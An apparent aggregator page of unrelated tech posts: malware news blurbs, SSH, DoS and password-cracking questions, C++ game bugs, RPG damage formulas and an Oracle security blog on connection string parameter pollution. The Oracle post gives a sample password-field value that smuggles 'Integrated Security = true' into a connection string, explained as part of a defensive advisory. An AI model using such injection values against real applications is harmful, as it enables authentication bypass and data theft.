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• Symantec Warns of Latest World Cup Malware

  Researchers at software-security firm detect a two-pronged malware attack targeting executives at major Brazilian firms, using the World Cup as a lure.

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• Crackdown on Mariposa: Botnet Infected 13 Million PCs

  Internet security experts say massive botnet attack impacted computers in more than 190 countries and more than half of the world's 1,000 largest companies.

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• SSH public key authentication -- always require users to generate their own keypair?

  - by schinazi

  I was working with a partner today that I needed to upload files to my server using scp. I have passwords turned off in the server's SSH configuration, so I wanted them to use public key authentication. I generated the keypair for them on the server and gave them the private key and put the public key in the appropriate authorized_keys file. After a bunch of problems with them setting up their job, they finally got a more experienced sysadmin involved on their end, and he scolded me for handling the key generation this way. He said that by giving them a private key generated on my system, I had enabled them to do a brute-force attack against other keys generated on the same server. I even asked him "so if I have an account on a server, and I can log in with a password but I want to automate something and I generate a keypair on that system, does that then give me an attack vector for brute forcing other users' keys?" and he said yes. I've never heard of this, is it true? Can anyone point me to a discussion of this attack? Thanks in advance.

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• Server Recovery from Denial of Service

  - by JMC

  I'm looking at a server that might be misconfigured to handle Denial of Service. The database was knocked offline after the attack, and was unable to restart itself after it failed to restart when the attack subsided. Details of the Attack: The Attacker either intentionally or unintentionally sent 1000's of search queries using the applications search query url within a couple of seconds. It looks like the server was overwhelmed and it caused the database to log this message: Server Specs: 1.5GB of dedicated memory Are there any obvious mis-configurations here that I'm missing? **mysql.log** 121118 20:28:54 mysqld_safe Number of processes running now: 0 121118 20:28:54 mysqld_safe mysqld restarted 121118 20:28:55 [Warning] option 'slow_query_log': boolean value '/var/log/mysqld.slow.log' wasn't recognized. Set to OFF. 121118 20:28:55 [Note] Plugin 'FEDERATED' is disabled. 121118 20:28:55 InnoDB: The InnoDB memory heap is disabled 121118 20:28:55 InnoDB: Mutexes and rw_locks use GCC atomic builtins 121118 20:28:55 InnoDB: Compressed tables use zlib 1.2.3 121118 20:28:55 InnoDB: Using Linux native AIO 121118 20:28:55 InnoDB: Initializing buffer pool, size = 512.0M InnoDB: mmap(549453824 bytes) failed; errno 12 121118 20:28:55 InnoDB: Completed initialization of buffer pool 121118 20:28:55 InnoDB: Fatal error: cannot allocate memory for the buffer pool 121118 20:28:55 [ERROR] Plugin 'InnoDB' init function returned error. 121118 20:28:55 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed. 121118 20:28:55 [ERROR] Unknown/unsupported storage engine: InnoDB 121118 20:28:55 [ERROR] Aborting **ulimit -a** core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 13089 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 1024 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited **httpd.conf** StartServers 10 MinSpareServers 8 MaxSpareServers 12 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 **my.cnf** innodb_buffer_pool_size=512M # Increase Innodb Thread Concurrency = 2 * [numberofCPUs] + 2 innodb_thread_concurrency=4 # Set Table Cache table_cache=512 # Set Query Cache_Size query_cache_size=64M query_cache_limit=2M # A sort buffer is used for optimizing sorting sort_buffer_size=8M # Log slow queries slow_query_log=/var/log/mysqld.slow.log long_query_time=2 #performance_tweak join_buffer_size=2M **php.ini** memory_limit = 128M post_max_size = 8M

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• A New Threat To Web Applications: Connection String Parameter Pollution (CSPP)

  - by eric.maurice

  Hi, this is Shaomin Wang. I am a security analyst in Oracle's Security Alerts Group. My primary responsibility is to evaluate the security vulnerabilities reported externally by security researchers on Oracle Fusion Middleware and to ensure timely resolution through the Critical Patch Update. Today, I am going to talk about a serious type of attack: Connection String Parameter Pollution (CSPP). Earlier this year, at the Black Hat DC 2010 Conference, two Spanish security researchers, Jose Palazon and Chema Alonso, unveiled a new class of security vulnerabilities, which target insecure dynamic connections between web applications and databases. The attack called Connection String Parameter Pollution (CSPP) exploits specifically the semicolon delimited database connection strings that are constructed dynamically based on the user inputs from web applications. CSPP, if carried out successfully, can be used to steal user identities and hijack web credentials. CSPP is a high risk attack because of the relative ease with which it can be carried out (low access complexity) and the potential results it can have (high impact). In today's blog, we are going to first look at what connection strings are and then review the different ways connection string injections can be leveraged by malicious hackers. We will then discuss how CSPP differs from traditional connection string injection, and the measures organizations can take to prevent this kind of attacks. In web applications, a connection string is a set of values that specifies information to connect to backend data repositories, in most cases, databases. The connection string is passed to a provider or driver to initiate a connection. Vendors or manufacturers write their own providers for different databases. Since there are many different providers and each provider has multiple ways to make a connection, there are many different ways to write a connection string. Here are some examples of connection strings from Oracle Data Provider for .Net/ODP.Net: Oracle Data Provider for .Net / ODP.Net; Manufacturer: Oracle; Type: .NET Framework Class Library: - Using TNS Data Source = orcl; User ID = myUsername; Password = myPassword; - Using integrated security Data Source = orcl; Integrated Security = SSPI; - Using the Easy Connect Naming Method Data Source = username/password@//myserver:1521/my.server.com - Specifying Pooling parameters Data Source=myOracleDB; User Id=myUsername; Password=myPassword; Min Pool Size=10; Connection Lifetime=120; Connection Timeout=60; Incr Pool Size=5; Decr Pool Size=2; There are many variations of the connection strings, but the majority of connection strings are key value pairs delimited by semicolons. Attacks on connection strings are not new (see for example, this SANS White Paper on Securing SQL Connection String). Connection strings are vulnerable to injection attacks when dynamic string concatenation is used to build connection strings based on user input. When the user input is not validated or filtered, and malicious text or characters are not properly escaped, an attacker can potentially access sensitive data or resources. For a number of years now, vendors, including Oracle, have created connection string builder class tools to help developers generate valid connection strings and potentially prevent this kind of vulnerability. Unfortunately, not all application developers use these utilities because they are not aware of the danger posed by this kind of attacks. So how are Connection String parameter Pollution (CSPP) attacks different from traditional Connection String Injection attacks? First, let's look at what parameter pollution attacks are. Parameter pollution is a technique, which typically involves appending repeating parameters to the request strings to attack the receiving end. Much of the public attention around parameter pollution was initiated as a result of a presentation on HTTP Parameter Pollution attacks by Stefano Di Paola and Luca Carettoni delivered at the 2009 Appsec OWASP Conference in Poland. In HTTP Parameter Pollution attacks, an attacker submits additional parameters in HTTP GET/POST to a web application, and if these parameters have the same name as an existing parameter, the web application may react in different ways depends on how the web application and web server deal with multiple parameters with the same name. When applied to connections strings, the rule for the majority of database providers is the "last one wins" algorithm. If a KEYWORD=VALUE pair occurs more than once in the connection string, the value associated with the LAST occurrence is used. This opens the door to some serious attacks. By way of example, in a web application, a user enters username and password; a subsequent connection string is generated to connect to the back end database. Data Source = myDataSource; Initial Catalog = db; Integrated Security = no; User ID = myUsername; Password = XXX; In the password field, if the attacker enters "xxx; Integrated Security = true", the connection string becomes, Data Source = myDataSource; Initial Catalog = db; Integrated Security = no; User ID = myUsername; Password = XXX; Intergrated Security = true; Under the "last one wins" principle, the web application will then try to connect to the database using the operating system account under which the application is running to bypass normal authentication. CSPP poses serious risks for unprepared organizations. It can be particularly dangerous if an Enterprise Systems Management web front-end is compromised, because attackers can then gain access to control panels to configure databases, systems accounts, etc. Fortunately, organizations can take steps to prevent this kind of attacks. CSPP falls into the Injection category of attacks like Cross Site Scripting or SQL Injection, which are made possible when inputs from users are not properly escaped or sanitized. Escaping is a technique used to ensure that characters (mostly from user inputs) are treated as data, not as characters, that is relevant to the interpreter's parser. Software developers need to become aware of the danger of these attacks and learn about the defenses mechanism they need to introduce in their code. As well, software vendors need to provide templates or classes to facilitate coding and eliminate developers' guesswork for protecting against such vulnerabilities. Oracle has introduced the OracleConnectionStringBuilder class in Oracle Data Provider for .NET. Using this class, developers can employ a configuration file to provide the connection string and/or dynamically set the values through key/value pairs. It makes creating connection strings less error-prone and easier to manager, and ultimately using the OracleConnectionStringBuilder class provides better security against injection into connection strings. For More Information: - The OracleConnectionStringBuilder is located at http://download.oracle.com/docs/cd/B28359_01/win.111/b28375/OracleConnectionStringBuilderClass.htm - Oracle has developed a publicly available course on preventing SQL Injections. The Server Technologies Curriculum course "Defending Against SQL Injection Attacks!" is located at http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm - The OWASP web site also provides a number of useful resources. It is located at http://www.owasp.org/index.php/Main_Page

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• program crashes at CIN input | C++

  - by TimothyTech

  hello okay, so i made a DOS program however my game always crashes on my second time running to the cin function. #include <iostream> #include <string> #include <ctime> #include <cstdlib> using namespace std; //call functions int create_enemyHP (int a); int create_enemyAtk (int a); int find_Enemy(int a); int create_enemyDef (int a); // user information int userHP = 100; int userAtk = 10; int userDef = 5; string userName; //enemy Information int enemyHP; int enemyAtk; int enemyDef; string enemies[] = {"Raider", "Bandit", "Mugger"}; int sizeOfEnemies = sizeof(enemies) / sizeof(int); string currentEnemy; int chooseEnemy; // ACTIONS int journey; int test; int main() { // main menu cout << "welcome brave knight, what is your name? " ; cin >> userName; cout << "welcome " << userName << " to Darland" << endl; //TRAVELING MENU: cout << "where would you like to travel? " << endl; cout << endl << " 1.> Theives Pass " << endl; cout << " 2.> Humble Town " << endl; cout << " 3.> Mission HQ " << endl; cin >> journey; if (journey == 1) { // action variable; string c_action; cout << "beware your journey grows dangerous " << endl; //begins battle // Creating the enemy, HP ATK DEF AND TYPE. ; srand(time(0)); enemyHP = create_enemyHP(userHP); enemyAtk = create_enemyAtk(userAtk); enemyDef = create_enemyDef(userDef); chooseEnemy = find_Enemy(sizeOfEnemies); currentEnemy = enemies[chooseEnemy]; cout << " Here comes a " << currentEnemy << endl; cout << "stats: " << endl; cout << "HP :" << enemyHP << endl; cout << "Attack : " << enemyAtk << endl; cout << "Defense : " << enemyDef << endl; ACTIONS: cout << "Attack <A> | Defend <D> | Items <I>"; cin >> c_action; //if ATTACK/DEFEND/ITEMS choice if (c_action == "A" || c_action == "a"){ enemyHP = enemyHP - userAtk; cout << " you attack the enemy reducing his health to " << enemyHP << endl; userHP = userHP - enemyAtk; cout << "however he lashes back causing you to have " << userHP << "health left " << endl; //end of ATTACK ACTION } the last line "cin c_action crashes. i use two other pages. they just create the functions. is it a complier issue. also why does my complier always shutdown after it runs he app. is there a way to stop it?

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• Friday Fun: Spell Blazer

  - by Asian Angel

  Are you ready for some fun and adventure after a long week back at work? This week’s game combines jewel-matching style game play with an RPG story for an awesome mix of fun and fiction. Your goal is to help a young wizard reach the magic academy in Raven as the forces of darkness are building. Spell Blazer The object of the game is to help young Kaven reach the Lightcaster Academy in Raven alive, but he will encounter many dangers along the way. Are you ready to begin the quest? As soon as you click Start Game the intro will automatically begin. If this is your first time playing the game the intro provides a nice background story for the game and what is happening in the game environment. Once you are past the intro, you will see a map of the region with your starting point in the Farmlands, various towns and the roads connecting them, along with your final destination of Raven. Notice that some of the roads are different colors…those colors indicate the “danger levels” for each part of your journey (green = good, yellow = some danger, etc.). To begin your journey click on the Town of Goose with your mouse. You will encounter your first monster part of the way towards Goose. This first round takes you through the game play process step-by-step. Once you have clicked Okay you will see the details about the monster you have just encountered. It is very important that you do not click on Fight! or Flee! until viewing and noting the types of spells that the monster is resistant to or has a weakness against. Choose your spells wisely based on the information provided about the monster. Keep in mind that the healing spell can be very useful depending on the monster you meet and your current health status. Note: Spells shown in order here are Healing, Fireball, Icebolt, & Lightning. Ready to fight! The first battle will also explain how to fight…click Okay to get started. Once the main window is in full view there are details that you need to look at. Beneath each of the combatants you will see the three attacks that each brings to the battle and at the bottom you will see their respective health points. We got lucky and had an Icebolt attack that we could utilize on the first play! Note: You can exchange two squares without making a match in order to try and line up an attack. While it happened too quickly to capture in our screenshot, there will be cool lightning bolt effects shoot out from matched up squares to the opposite combatant. You will also see the amount of damage inflicted from a particular attack on top of the avatars. Victory! Once you have won a round of combat a window will appear showing the amount of gold coins left behind by the monster. When you reach a town you will have the opportunity to stop over and rest or directly continue on with your journey. On to Halgard after a good rest! Play Spell Blazer Latest Features How-To Geek ETC How To Boot 10 Different Live CDs From 1 USB Flash Drive The 20 Best How-To Geek Linux Articles of 2010 The 50 Best How-To Geek Windows Articles of 2010 The 20 Best How-To Geek Explainer Topics for 2010 How to Disable Caps Lock Key in Windows 7 or Vista How to Use the Avira Rescue CD to Clean Your Infected PC The Deep – Awesome Use of Metal Objects as Deep Sea Creatures [Video] Convert or View Documents Online Easily with Zoho, No Account Required Build a Floor Scrubbing Robot out of Computer Fans and a Frisbee Serene Blue Windows Wallpaper for Your Desktop 2011 International Space Station Calendar Available for Download (Free) Ultimate Elimination – Lego Black Ops [Video]

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• How to develop RPG Damage Formulas?

  - by user127817

  I'm developing a classical 2d RPG (in a similar vein to final fantasy) and I was wondering if anyone had some advice on how to do damage formulas/links to resources/examples? I'll explain my current setup. Hopefully I'm not overdoing it with this question, and I apologize if my questions is too large/broad My Characters stats are composed of the following: enum Stat { HP = 0, MP = 1, SP = 2, Strength = 3, Vitality = 4, Magic = 5, Spirit = 6, Skill = 7, Speed = 8, //Speed/Agility are the same thing Agility = 8, Evasion = 9, MgEvasion = 10, Accuracy = 11, Luck = 12, }; Vitality is basically defense to physical attacks and spirit is defense to magic attacks. All stats have fixed maximums (9999 for HP, 999 for MP/SP and 255 for the rest). With abilities, the maximums can be increased (99999 for HP, 9999 for HP/SP, 999 for the rest) with typical values (at level 100) before/after abilities+equipment+etc will be 8000/20,000 for HP, 800/2000 for SP/MP, 180/350 for other stats Late game Enemy HP will typically be in the lower millions (with a super boss having the maximum of ~12 million). I was wondering how do people actually develop proper damage formulas that scale correctly? For instance, based on this data, using the damage formulas for Final Fantasy X as a base looked very promising. A full reference here http://www.gamefaqs.com/ps2/197344-final-fantasy-x/faqs/31381 but as a quick example: Str = 127, 'Attack' command used, enemy Def = 34. 1. Physical Damage Calculation: Step 1 ------------------------------------- [{(Stat^3 ÷ 32) + 32} x DmCon ÷16] Step 2 ---------------------------------------- [{(127^3 ÷ 32) + 32} x 16 ÷ 16] Step 3 -------------------------------------- [{(2048383 ÷ 32) + 32} x 16 ÷ 16] Step 4 --------------------------------------------------- [{(64011) + 32} x 1] Step 5 -------------------------------------------------------- [{(64043 x 1)}] Step 6 ---------------------------------------------------- Base Damage = 64043 Step 7 ----------------------------------------- [{(Def - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------ [{(34 - 280.4)^2} ÷ 110] + 16 Step 9 ------------------------------------------------- [(-246)^2) ÷ 110] + 16 Step 10 ---------------------------------------------------- [60516 ÷ 110] + 16 Step 11 ------------------------------------------------------------ [550] + 16 Step 12 ---------------------------------------------------------- DefNum = 566 Step 13 ---------------------------------------------- [BaseDmg * DefNum ÷ 730] Step 14 --------------------------------------------------- [64043 * 566 ÷ 730] Step 15 ------------------------------------------------------ [36248338 ÷ 730] Step 16 ------------------------------------------------- Base Damage 2 = 49655 Step 17 ------------ Base Damage 2 * {730 - (Def * 51 - Def^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ---------------------- 49655 * {730 - (34 * 51 - 34^2 ÷ 11) ÷ 10} ÷ 730 Step 19 ------------------------- 49655 * {730 - (1734 - 1156 ÷ 11) ÷ 10} ÷ 730 Step 20 ------------------------------- 49655 * {730 - (1734 - 105) ÷ 10} ÷ 730 Step 21 ------------------------------------- 49655 * {730 - (1629) ÷ 10} ÷ 730 Step 22 --------------------------------------------- 49655 * {730 - 162} ÷ 730 Step 23 ----------------------------------------------------- 49655 * 568 ÷ 730 Step 24 -------------------------------------------------- Final Damage = 38635 I simply modified the dividers to include the attack rating of weapons and the armor rating of armor. Magic Damage is calculated as follows: Mag = 255, Ultima is used, enemy MDef = 1 Step 1 ----------------------------------- [DmCon * ([Stat^2 ÷ 6] + DmCon) ÷ 4] Step 2 ------------------------------------------ [70 * ([255^2 ÷ 6] + 70) ÷ 4] Step 3 ------------------------------------------ [70 * ([65025 ÷ 6] + 70) ÷ 4] Step 4 ------------------------------------------------ [70 * (10837 + 70) ÷ 4] Step 5 ----------------------------------------------------- [70 * (10907) ÷ 4] Step 6 ------------------------------------ Base Damage = 190872 [cut to 99999] Step 7 ---------------------------------------- [{(MDef - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------- [{(1 - 280.4)^2} ÷ 110] + 16 Step 9 ---------------------------------------------- [{(-279.4)^2} ÷ 110] + 16 Step 10 -------------------------------------------------- [(78064) ÷ 110] + 16 Step 11 ------------------------------------------------------------ [709] + 16 Step 12 --------------------------------------------------------- MDefNum = 725 Step 13 --------------------------------------------- [BaseDmg * MDefNum ÷ 730] Step 14 --------------------------------------------------- [99999 * 725 ÷ 730] Step 15 ------------------------------------------------- Base Damage 2 = 99314 Step 16 ---------- Base Damage 2 * {730 - (MDef * 51 - MDef^2 ÷ 11) ÷ 10} ÷ 730 Step 17 ------------------------ 99314 * {730 - (1 * 51 - 1^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ------------------------------ 99314 * {730 - (51 - 1 ÷ 11) ÷ 10} ÷ 730 Step 19 --------------------------------------- 99314 * {730 - (49) ÷ 10} ÷ 730 Step 20 ----------------------------------------------------- 99314 * 725 ÷ 730 Step 21 -------------------------------------------------- Final Damage = 98633 The problem is that the formulas completely fall apart once stats start going above 255. In particular Defense values over 300 or so start generating really strange behavior. High Strength + Defense stats lead to massive negative values for instance. While I might be able to modify the formulas to work correctly for my use case, it'd probably be easier just to use a completely new formula. How do people actually develop damage formulas? I was considering opening excel and trying to build the formula that way (mapping Attack Stats vs. Defense Stats for instance) but I was wondering if there's an easier way? While I can't convey the full game mechanics of my game here, might someone be able to suggest a good starting place for building a damage formula? Thanks

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• How to develop RPG Damage Formulas?

  - by user127817

  I'm developing a classical 2d RPG (in a similar vein to final fantasy) and I was wondering if anyone had some advice on how to do damage formulas/links to resources/examples? I'll explain my current setup. Hopefully I'm not overdoing it with this question, and I apologize if my questions is too large/broad My Characters stats are composed of the following: enum Stat { HP = 0, MP = 1, SP = 2, Strength = 3, Vitality = 4, Magic = 5, Spirit = 6, Skill = 7, Speed = 8, //Speed/Agility are the same thing Agility = 8, Evasion = 9, MgEvasion = 10, Accuracy = 11, Luck = 12, }; Vitality is basically defense to physical attacks and spirit is defense to magic attacks. All stats have fixed maximums (9999 for HP, 999 for MP/SP and 255 for the rest). With abilities, the maximums can be increased (99999 for HP, 9999 for HP/SP, 999 for the rest) with typical values (at level 100) before/after abilities+equipment+etc will be 8000/20,000 for HP, 800/2000 for SP/MP, 180/350 for other stats Late game Enemy HP will typically be in the lower millions (with a super boss having the maximum of ~12 million). I was wondering how do people actually develop proper damage formulas that scale correctly? For instance, based on this data, using the damage formulas for Final Fantasy X as a base looked very promising. A full reference here http://www.gamefaqs.com/ps2/197344-final-fantasy-x/faqs/31381 but as a quick example: Str = 127, 'Attack' command used, enemy Def = 34. 1. Physical Damage Calculation: Step 1 ------------------------------------- [{(Stat^3 ÷ 32) + 32} x DmCon ÷16] Step 2 ---------------------------------------- [{(127^3 ÷ 32) + 32} x 16 ÷ 16] Step 3 -------------------------------------- [{(2048383 ÷ 32) + 32} x 16 ÷ 16] Step 4 --------------------------------------------------- [{(64011) + 32} x 1] Step 5 -------------------------------------------------------- [{(64043 x 1)}] Step 6 ---------------------------------------------------- Base Damage = 64043 Step 7 ----------------------------------------- [{(Def - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------ [{(34 - 280.4)^2} ÷ 110] + 16 Step 9 ------------------------------------------------- [(-246)^2) ÷ 110] + 16 Step 10 ---------------------------------------------------- [60516 ÷ 110] + 16 Step 11 ------------------------------------------------------------ [550] + 16 Step 12 ---------------------------------------------------------- DefNum = 566 Step 13 ---------------------------------------------- [BaseDmg * DefNum ÷ 730] Step 14 --------------------------------------------------- [64043 * 566 ÷ 730] Step 15 ------------------------------------------------------ [36248338 ÷ 730] Step 16 ------------------------------------------------- Base Damage 2 = 49655 Step 17 ------------ Base Damage 2 * {730 - (Def * 51 - Def^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ---------------------- 49655 * {730 - (34 * 51 - 34^2 ÷ 11) ÷ 10} ÷ 730 Step 19 ------------------------- 49655 * {730 - (1734 - 1156 ÷ 11) ÷ 10} ÷ 730 Step 20 ------------------------------- 49655 * {730 - (1734 - 105) ÷ 10} ÷ 730 Step 21 ------------------------------------- 49655 * {730 - (1629) ÷ 10} ÷ 730 Step 22 --------------------------------------------- 49655 * {730 - 162} ÷ 730 Step 23 ----------------------------------------------------- 49655 * 568 ÷ 730 Step 24 -------------------------------------------------- Final Damage = 38635 I simply modified the dividers to include the attack rating of weapons and the armor rating of armor. Magic Damage is calculated as follows: Mag = 255, Ultima is used, enemy MDef = 1 Step 1 ----------------------------------- [DmCon * ([Stat^2 ÷ 6] + DmCon) ÷ 4] Step 2 ------------------------------------------ [70 * ([255^2 ÷ 6] + 70) ÷ 4] Step 3 ------------------------------------------ [70 * ([65025 ÷ 6] + 70) ÷ 4] Step 4 ------------------------------------------------ [70 * (10837 + 70) ÷ 4] Step 5 ----------------------------------------------------- [70 * (10907) ÷ 4] Step 6 ------------------------------------ Base Damage = 190872 [cut to 99999] Step 7 ---------------------------------------- [{(MDef - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------- [{(1 - 280.4)^2} ÷ 110] + 16 Step 9 ---------------------------------------------- [{(-279.4)^2} ÷ 110] + 16 Step 10 -------------------------------------------------- [(78064) ÷ 110] + 16 Step 11 ------------------------------------------------------------ [709] + 16 Step 12 --------------------------------------------------------- MDefNum = 725 Step 13 --------------------------------------------- [BaseDmg * MDefNum ÷ 730] Step 14 --------------------------------------------------- [99999 * 725 ÷ 730] Step 15 ------------------------------------------------- Base Damage 2 = 99314 Step 16 ---------- Base Damage 2 * {730 - (MDef * 51 - MDef^2 ÷ 11) ÷ 10} ÷ 730 Step 17 ------------------------ 99314 * {730 - (1 * 51 - 1^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ------------------------------ 99314 * {730 - (51 - 1 ÷ 11) ÷ 10} ÷ 730 Step 19 --------------------------------------- 99314 * {730 - (49) ÷ 10} ÷ 730 Step 20 ----------------------------------------------------- 99314 * 725 ÷ 730 Step 21 -------------------------------------------------- Final Damage = 98633 The problem is that the formulas completely fall apart once stats start going above 255. In particular Defense values over 300 or so start generating really strange behavior. High Strength + Defense stats lead to massive negative values for instance. While I might be able to modify the formulas to work correctly for my use case, it'd probably be easier just to use a completely new formula. How do people actually develop damage formulas? I was considering opening excel and trying to build the formula that way (mapping Attack Stats vs. Defense Stats for instance) but I was wondering if there's an easier way? While I can't convey the full game mechanics of my game here, might someone be able to suggest a good starting place for building a damage formula? Thanks

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• Number of ways to place kings on chess board

  - by Rakesh

  You have an N x N chessboard and you wish to place N kings on it. Each row and column should contain exactly one king, and no two kings should attack each other (two kings attack each other if they are present in squares which share a corner). The kings in the first K rows of the board have already been placed. You are given the positions of these kings as an array pos[ ]. pos[i] is the column in which the king in the ith row has already been placed. All indices are 0-indexed. In how many ways can the remaining kings be placed? Input: The first line contains the number of test cases T. T test cases follow. Each test case contains N and K on the first line, followed by a line having K integers, denoting the array pos[ ] as described above. Output: Output the number of ways to place kings in the remaining rows satisfying the above conditions. Output all numbers modulo 1000000007. Constraints: 1 <= T <= 20 1 <= N <= 16 0 <= K <= N 0 <= pos_i < N The kings specified in the input will be in different columns and not attack each other. Sample Input: 5 4 1 2 3 0 5 2 1 3 4 4 1 3 0 2 6 1 2 Sample Output: 1 0 2 1 18 Explanation: For the first example, there is a king already placed at row 0 and column 2. The king in the second row must belong to column 0. The king in the third row must belong to column 3, and the last king must beong to column 1. Thus there is only 1 valid placement. For the second example, there is no valid placement. How should i approach this problem

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• Password Cracking in 2010 and Beyond

  - by mttr

  I have looked a bit into cryptography and related matters during the last couple of days and am pretty confused by now. I have a question about password strength and am hoping that someone can clear up my confusion by sharing how they think through the following questions. I am becoming obsessed about these things, but need to spend my time otherwise :-) Let's assume we have an eight-digit password that consists of upper and lower-case alphabetic characters, numbers and common symbols. This means we have 8^96 ~= 7.2 quadrillion different possible passwords. As I understand there are at least two approaches to breaking this password. One is to try a brute-force attack where we try to guess each possible combination of characters. How many passwords can modern processors (in 2010, Core i7 Extreme for eg) guess per second (how many instructions does a single password guess take and why)? My guess would be that it takes a modern processor in the order of years to break such a password. Another approach would consist of obtaining a hash of my password as stored by operating systems and then search for collisions. Depending on the type of hash used, we might get the password a lot quicker than by the bruteforce attack. A number of questions about this: Is the assertion in the above sentence correct? How do I think about the time it takes to find collisions for MD4, MD5, etc. hashes? Where does my Snow Leopard store my password hash and what hashing algorithm does it use? And finally, regardless of the strength of file encryption using AES-128/256, the weak link is still my en/decryption password used. Even if breaking the ciphered text would take longer than the lifetime of the universe, a brute-force attack on my de/encryption password (guess password, then try to decrypt file, try next password...), might succeed a lot earlier than the end of the universe. Is that correct? I would be very grateful, if people could have mercy on me and help me think through these probably simple questions, so that I can get back to work.

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• C++: Calling class functions within a switch

  - by user1446002

  i've been trying to study for my finals by practicing classes and inheritance, this is what I've come up with so far for inheritance and such however I'm unsure how to fix the error occuring below. #include<iostream> #include<iomanip> #include<cmath> #include<string.h> using namespace std; //BASE CLASS DEFINITION class hero { protected: string name; string mainAttr; int xp; double hp; double mana; double armour; int range; double attkDmg; bool attkType; public: void dumpData(); void getName(); void getMainAttr(); void getAttkData(); void setAttkData(string); void setBasics(string, string, double, double, double); void levelUp(); }; //CLASS FUNCTIONS void hero::dumpData() { cout << "Name: " << name << endl; cout << "Main Attribute: " << mainAttr << endl; cout << "XP: " << xp << endl; cout << "HP: " << hp << endl; cout << "Mana: " << mana << endl; cout << "Armour: " << armour << endl; cout << "Attack Range: " << range << endl; cout << "Attack Damage: " << attkDmg << endl; cout << "Attack Type: " << attkType << endl << endl; } void hero::getName() { cout << "Name: " << name << endl; } void hero::getMainAttr() { cout << "Main Attribute: " << mainAttr << endl; } void hero::getAttkData() { cout << "Attack Range: " << range << endl; cout << "Attack Damage: " << attkDmg << endl; cout << "Attack Type: " << attkType << endl; } void hero::setAttkData(string attr) { int choice = 0; if (attr == "Strength") { choice = 1; } if (attr == "Agility") { choice = 2; } if (attr == "Intelligence") { choice = 3; } switch (choice) { case 1: range = 128; attkDmg = 80.0; attkType = 0; break; case 2: range = 350; attkDmg = 60.0; attkType = 0; break; case 3: range = 600; attkDmg = 35.0; attkType = 1; break; default: break; } } void hero::setBasics(string heroName, string attribute, double health, double mp, double armourVal) { name = heroName; mainAttr = attribute; hp = health; mana = mp; armour = armourVal; } void hero::levelUp() { xp = 0; hp = hp + (hp * 0.1); mana = mana + (mana * 0.1); armour = armour + ((armour*0.1) + 1); attkDmg = attkDmg + (attkDmg * 0.05); } //INHERITED CLASS DEFINITION class neutHero : protected hero { protected: string drops; int xpGain; public: int giveXP(int); void dropItems(); }; //INHERITED CLASS FUNCTIONS int neutHero::giveXP(int exp) { xp += exp; } void neutHero::dropItems() { cout << name << " has dropped the following items: " << endl; cout << drops << endl; } /* END OF OO! */ //FUNCTION PROTOTYPES void dispMenu(); int main() { int exit=0, choice=0, mainAttrChoice=0, heroCreated=0; double health, mp, armourVal; string heroName, attribute; do { dispMenu(); cin >> choice; switch (choice) { case 1: system("cls"); cout << "Please enter your hero name: "; cin >> heroName; cout << "\nPlease enter your primary attribute\n"; cout << "1. Strength\n" << "2. Agility\n" << "3. Intelligence\n"; cin >> mainAttrChoice; switch (mainAttrChoice) { case 1: attribute = "Strength"; health = 750; mp = 150; armourVal = 2; break; case 2: attribute = "Agility"; health = 550; mp = 200; armourVal = 6; break; case 3: attribute = "Intelligence"; health = 450; mp = 450; armourVal = 1; break; default: cout << "Choice invalid, please try again."; exit = 1; break; hero player; player.setBasics(heroName, attribute, health, mp, armourVal); player.setAttkData(attribute); heroCreated=1; system("cls"); cout << "Your hero has been created!\n\n"; player.dumpData(); system("pause"); break; } case 2: system("cls"); if (heroCreated == 1) { cout << "Your hero has been detailed below.\n\n"; **player.dumpData(); //ERROR OCCURS HERE !** system("pause"); } else { cout << "You have not created a hero please exit this prompt " "and press 1 on the menu to create a hero."; } break; case 3: system("cls"); cout << "Still Under Development"; system("pause"); break; case 4: system("cls"); exit = 1; break; default: cout << "Your command has not been recognised, please try again.\n"; system("pause"); break; } } while (exit != 1); system("pause"); return 0; } void dispMenu() { system("cls"); cout << "1. Create New Hero\n" "2. View Current Hero\n" "3. Fight Stuff\n" "4. Exit\n\n" "Enter your choice: "; } However upon compilation I get the following errors: 220 `player' undeclared (first use this function) Unsure exactly how to fix it as I've only recently started using OO approach. The error has a comment next to it above and is in case 2 in the main. Cheers guys.

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• Else statement crashes when i enter a letter for a cin << int value

  - by TimothyTech

  Alright, i have a question, i veered away from using strings for selection so now i use an integer.when the user enters a number then the game progresses. if they enter a wrong character it SHOULD give the else statement, however if i enter a letter or character the system goes into an endless loop effect then crashes. is there a way to give the else statement even if the user defies the variable's type. // action variable; int c_action: if (c_action == 1){ // enemy attack and user attack with added effect buffer. /////////////////////////////////////////////////////// u_attack = userAttack(userAtk, weapons); enemyHP = enemyHP - u_attack; cout << " charging at the enemy you do " << u_attack << "damage" << endl; e_attack = enemyAttack(enemyAtk); userHP = userHP - e_attack; cout << "however he lashes back causing you to have " << userHP << "health left " << endl << endl << endl << endl; //end of ATTACK ACTION }else{ cout << "invalid actions" << endl; goto ACTIONS; }

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• Toorcon 15 (2013)

  - by danx

